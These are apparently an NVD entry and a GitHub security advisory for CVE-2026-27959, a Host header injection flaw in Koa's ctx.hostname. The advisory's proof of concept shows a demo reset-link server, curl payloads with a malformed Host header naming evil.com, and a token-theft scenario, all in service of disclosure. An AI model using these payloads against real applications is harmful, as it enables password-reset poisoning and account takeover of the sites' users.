{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:koajs:koa:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "A7F3D7BC-7A32-4D0B-9A1C-B4AEBCBF2D59",
              "versionEndExcluding": "2.16.4",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:koajs:koa:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "D5367576-B8D5-45EE-9214-D40A4E6E1049",
              "versionEndExcluding": "3.1.2",
              "versionStartIncluding": "3.0.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Koa is middleware for Node.js using ES2017 async functions. Prior to versions 3.1.2 and 2.16.4, Koa\u0027s `ctx.hostname` API performs naive parsing of the HTTP Host header, extracting everything before the first colon without validating the input conforms to RFC 3986 hostname syntax. When a malformed Host header containing a `@` symbol is received, `ctx.hostname` returns `evil[.]com` - an attacker-controlled value. Applications using `ctx.hostname` for URL generation, password reset links, email verification URLs, or routing decisions are vulnerable to Host header injection attacks. Versions 3.1.2 and 2.16.4 fix the issue."
    },
    {
      "lang": "es",
      "value": "Koa es un middleware para Node.js que utiliza funciones as\u00edncronas de ES2017. Antes de las versiones 3.1.2 y 2.16.4, la API `ctx.hostname` de Koa realiza un an\u00e1lisis ingenuo del encabezado Host HTTP, extrayendo todo lo que precede al primer signo de dos puntos sin validar que la entrada cumpla con la sintaxis de nombre de host de RFC 3986. Cuando se recibe un encabezado Host malformado que contiene un s\u00edmbolo \u0027@\u0027, `ctx.hostname` devuelve \u0027evil[.]com\u0027 - un valor controlado por el atacante. Las aplicaciones que utilizan `ctx.hostname` para la generaci\u00f3n de URL, enlaces de restablecimiento de contrase\u00f1a, URL de verificaci\u00f3n de correo electr\u00f3nico o decisiones de enrutamiento son vulnerables a ataques de inyecci\u00f3n de encabezado Host. Las versiones 3.1.2 y 2.16.4 solucionan el problema."
    }
  ],
  "id": "CVE-2026-27959",
  "lastModified": "2026-06-16T19:38:55.347",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-02-26T02:16:23.317",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/koajs/koa/commit/55ab9bab044ead4e82c70a30a4f9dc0fc9c1b6df"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/koajs/koa/commit/b76ddc01fdb703e51652b0fd131d16394cadcfeb"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/koajs/koa/security/advisories/GHSA-7gcc-r8m5-44qm"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-20"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "NVD-CWE-noinfo"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "koa"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "koa"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.16.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27959"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-74"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-26T22:42:57Z",
    "nvd_published_at": "2026-02-26T02:16:23Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nKoa\u0027s `ctx.hostname` API performs naive parsing of the HTTP Host header, extracting everything before the first colon without validating the input conforms to RFC 3986 hostname syntax. When a malformed Host header containing a `@` symbol (e.g., `evil.com:fake@legitimate.com`) is received, `ctx.hostname` returns `evil.com` - an attacker-controlled value. Applications using `ctx.hostname` for URL generation, password reset links, email verification URLs, or routing decisions are vulnerable to Host header injection attacks.\n\n## Details\n\nThe vulnerability exists in Koa\u0027s hostname getter in `lib/request.js`:\n\n```javascript\n// Koa 2.16.1 - lib/request.js\nget hostname() {\n  const host = this.host;\n  if (!host) return \u0027\u0027;\n  if (\u0027[\u0027 === host[0]) return this.URL.hostname || \u0027\u0027; // IPv6 literal\n  return host.split(\u0027:\u0027, 1)[0];\n}\n```\n\nThe `host` getter retrieves the raw header value with HTTP/2 and proxy support:\n\n```javascript\n// Koa 2.16.1 - lib/request.js\nget host() {\n  const proxy = this.app.proxy;\n  let host = proxy \u0026\u0026 this.get(\u0027X-Forwarded-Host\u0027);\n  if (!host) {\n    if (this.req.httpVersionMajor \u003e= 2) host = this.get(\u0027:authority\u0027);\n    if (!host) host = this.get(\u0027Host\u0027);\n  }\n  if (!host) return \u0027\u0027;\n  return host.split(\u0027,\u0027)[0].trim();\n}\n```\n\n### The Problem\n\nThe parsing logic simply splits on the first `:` and returns the first segment. There is no validation that the resulting string is a valid hostname per RFC 3986 Section 3.2.2.\n\n**RFC 3986 Section 3.2.2** defines the host component as:\n\n```\nhost = IP-literal / IPv4address / reg-name\nreg-name = *( unreserved / pct-encoded / sub-delims )\nunreserved = ALPHA / DIGIT / \"-\" / \".\" / \"_\" / \"~\"\nsub-delims = \"!\" / \"$\" / \"\u0026\" / \"\u0027\" / \"(\" / \")\" / \"*\" / \"+\" / \",\" / \";\" / \"=\"\n```\n\nThe `@` character is explicitly NOT permitted in the host component - it is the delimiter separating userinfo from host in the authority component.\n\n### Attack Vector\n\nWhen an attacker sends:\n\n```\nHost: evil.com:fake@legitimate.com:3000\n```\n\nKoa parses this as:\n\n| API | Returns | Notes |\n|-----|---------|-------|\n| `ctx.get(\u0027Host\u0027)` | `\"evil.com:fake@legitimate.com:3000\"` | Raw header |\n| `ctx.hostname` | `\"evil.com\"` | **Attacker-controlled** |\n| `ctx.host` | `\"evil.com:fake@legitimate.com:3000\"` | Raw header value |\n| `ctx.origin` | `\"http://evil.com:fake@legitimate.com:3000\"` | Protocol + malformed host |\n\nThe `ctx.hostname` API returns `evil.com` because the parser splits on the first `:` without understanding that `evil.com:fake@legitimate.com` is a malformed authority component where `evil.com:fake` would be interpreted as userinfo by a proper URI parser.\n\n### Additional Concern: `ctx.origin`\n\nKoa\u0027s `ctx.origin` property concatenates protocol and host without validation:\n\n```javascript\n// lib/request.js\nget origin() {\n  return `${this.protocol}://${this.host}`;\n}\n```\n\nApplications using `ctx.origin` for URL generation receive the full malformed Host header value, creating URLs with embedded credentials that browsers may interpret as userinfo.\n\n### HTTP/2 Consideration\n\nKoa explicitly checks `httpVersionMajor \u003e= 2` to read the `:authority` pseudo-header:\n\n```javascript\nif (this.req.httpVersionMajor \u003e= 2) host = this.get(\u0027:authority\u0027);\n```\n\nThe same vulnerability applies - malformed `:authority` values containing userinfo would be accepted and parsed identically.\n\n## PoC\n\n### Setup\n\n```javascript\n// server.js\nconst Koa = require(\u0027koa\u0027); \nconst app = new Koa();\n\n// Simulates password reset URL generation (common vulnerable pattern)\napp.use(async ctx =\u003e {\n  if (ctx.path === \u0027/forgot-password\u0027) {\n    const resetToken = \u0027abc123securtoken\u0027;\n    const resetUrl = `${ctx.protocol}://${ctx.hostname}/reset?token=${resetToken}`;\n    \n    ctx.body = {\n      message: \u0027Password reset link generated\u0027,\n      resetUrl: resetUrl,\n      debug: {\n        rawHost: ctx.get(\u0027Host\u0027),\n        parsedHostname: ctx.hostname,\n        origin: ctx.origin,\n        protocol: ctx.protocol\n      }\n    };\n  }\n});\n\napp.listen(3000, () =\u003e console.log(\u0027Server on http://localhost:3000\u0027));\n```\n\n### Exploit\n\n```bash\ncurl -H \"Host: evil.com:fake@localhost:3000\" http://localhost:3000/forgot-password\n```\n\n### Result\n\n```json\n{\n  \"message\": \"Password reset link generated\",\n  \"resetUrl\": \"http://evil.com/reset?token=abc123securtoken\",\n  \"debug\": {\n    \"rawHost\": \"evil.com:fake@localhost:3000\",\n    \"parsedHostname\": \"evil.com\",\n    \"origin\": \"http://evil.com:fake@localhost:3000\",\n    \"protocol\": \"http\"\n  }\n}\n```\n\nThe password reset URL points to `evil.com` instead of the legitimate server. In a real attack:\n\n1. Attacker requests password reset for victim\u0027s email with malicious Host header\n2. Server generates reset link using `ctx.hostname` \u2192 `https://evil.com/reset?token=SECRET`\n3. Victim receives email with poisoned link\n4. Victim clicks link, token is sent to attacker\u0027s server\n5. Attacker uses token to reset victim\u0027s password\n\n### Additional Test Cases\n\n```bash\n# Basic injection\ncurl -H \"Host: evil.com:x@legitimate.com\" http://localhost:3000/forgot-password\n# Result: hostname = \"evil.com\"\n\n# With port preservation attempt\ncurl -H \"Host: evil.com:443@legitimate.com:3000\" http://localhost:3000/forgot-password  \n# Result: hostname = \"evil.com\"\n\n# Unicode/encoded variations\ncurl -H \"Host: evil.com:x%40legitimate.com\" http://localhost:3000/forgot-password\n# Result: hostname = \"evil.com\"\n```\n\n### Deployment Consideration\n\nFor this attack to succeed in production, the malicious Host header must reach the Koa application. This occurs when:\n\n1. **No reverse proxy** - Application directly exposed to internet\n2. **Misconfigured proxy** - Proxy doesn\u0027t override/validate Host header\n3. **Proxy trust enabled** (`app.proxy = true`) - `X-Forwarded-Host` can be injected\n4. **Default virtual host** - Server is the catch-all for unrecognized Host headers\n\n## Impact\n\n### Vulnerability Type\n\n- CWE-20: Improper Input Validation\n- CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax\n\n### Attack Scenarios\n\n**1. Password Reset Poisoning (High Severity)**\n- Attacker hijacks password reset tokens by poisoning reset URLs\n- Requires victim to click link in email\n- Results in account takeover\n\n**2. Email Verification Bypass**\n- Attacker poisons email verification links\n- Can verify attacker-controlled email on victim accounts\n\n**3. OAuth/SSO Callback Manipulation**\n- Applications using `ctx.hostname` for OAuth redirect URIs\n- Attacker redirects OAuth callbacks to malicious server\n- Results in token theft\n\n**4. Web Cache Poisoning**\n- If responses are cached without Host in cache key\n- Poisoned URLs served to all users\n- Persistent XSS/phishing via cached responses\n\n**5. Server-Side Request Forgery (SSRF)**\n- Internal routing decisions based on `ctx.hostname`\n- Attacker manipulates which backend receives requests\n\n### Who Is Impacted\n\n- **Direct impact**: Any Koa application using `ctx.hostname` or `ctx.origin` for URL generation without additional validation\n- **Common patterns**: Password reset, email verification, webhook URL generation, multi-tenant routing, OAuth implementations",
  "id": "GHSA-7gcc-r8m5-44qm",
  "modified": "2026-02-26T22:42:57Z",
  "published": "2026-02-26T22:42:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/koajs/koa/security/advisories/GHSA-7gcc-r8m5-44qm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27959"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koajs/koa/commit/55ab9bab044ead4e82c70a30a4f9dc0fc9c1b6df"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koajs/koa/commit/b76ddc01fdb703e51652b0fd131d16394cadcfeb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/koajs/koa"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Koa has Host Header Injection via ctx.hostname"
}